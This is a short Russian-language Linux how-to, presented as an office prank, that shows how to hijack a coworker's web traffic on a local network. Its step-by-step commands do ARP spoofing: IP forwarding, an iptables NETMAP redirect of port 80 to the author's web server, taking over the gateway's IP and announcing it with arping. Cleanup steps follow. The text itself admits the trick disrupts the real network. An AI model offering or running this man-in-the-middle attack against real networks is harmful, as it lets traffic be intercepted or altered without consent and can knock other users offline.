Подстановка HTTP-трафика определенному компьютеру в локальной сети

Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по офису, например, отобразив персональное поздравление при попытке открыть соседом какой-нибудь известного ресурса. Манипуляции проделываются без изменения конфигурации шлюза, путем поднятия web-сервера на своей машине и перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на машине соседа.
Техника действует только в пределах локальной сети.

Включаем на своей машине перенаправление IP-пакетов:

Copy
echo 1 > /proc/sys/net/ipv4/ip_forward

Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на 192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине должен быть заблаговременно поднят http-сервер с нужной страницей.

Copy
iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200

Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:

Copy
ip addr add 192.168.1.1/24 dev eth0

Анонсируем смену MAC-адреса шлюза:

Copy
arping -c 3 -A -I eth0 192.168.1.1

После завершения розыгрыша убираем IP шлюза с локального интерфейса:

Copy
ip addr delete 192.168.1.1/24 dev eth0 iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200 ifconfig eth0 down ifconfig eth0 up arp -d 192.168.1.1

Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом.